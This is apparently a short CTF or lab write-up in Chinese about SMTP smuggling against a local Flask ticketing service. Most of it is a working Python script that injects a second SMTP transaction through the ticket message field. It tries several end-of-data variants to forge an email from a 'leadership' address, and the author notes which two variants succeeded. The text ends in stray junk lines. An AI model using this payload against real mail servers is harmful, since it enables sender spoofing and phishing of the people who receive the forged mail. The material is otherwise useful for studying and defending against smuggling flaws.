1 2 3 4 5 6 7 8 9 10 message = ( "Abc123" + variant + "From: leadership@blackholeticketing.com\r\n" "Subject: injected\r\n" f"X-Ticket-ID: {ticket_id}\r\n" "\r\n" "Def456\r\n" ".\r\n" )
这个行不通滴 原本脚本稍微改了一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 import requests import time import uuid BASE_URL = "http://127.0.0.1:44622" # 你的 Flask 服务地址 variants = [ "\r\n.\r\n", # 标准 "\n.\r\n", # 混合 "\r.\n", # 罕见 "\n.\n", "\n\n.\r\n" # 非规范 ] def run_test(variant): ticket_id = str(uuid.uuid4()) message = ( "Abc123"+ variant + "MAIL FROM: <support@blackholeticketing.com>\r\n" "RCPT TO: <it@blackholeticketing.com>\r\nDATA\r\n" "From: leadership@blackholeticketing.com\r\n" "To: it@blackholeticketing.com\r\n" "Subject: injected\r\n" f"X-Ticket-ID: {ticket_id}\r\n" "\r\n" "Def456" ) print(f"\n[+] Testing variant {repr(variant)} ticket={ticket_id}") # 只传 subject 和 message r = requests.post(f"{BASE_URL}/submit_ticket", data={ "subject": "smuggle-test", "message": message }) print("[>] Submit:", r.status_code) time.sleep(1) r2 = requests.get(f"{BASE_URL}/check_response/{ticket_id}") print("[>] Check response:", r2.text) if __name__ == "__main__": for v in variants: run_test(v)
发现\n\n.\r\n和\n.\r\n都成功了~
1 2 3 4 5 import osa=asdsad asdsad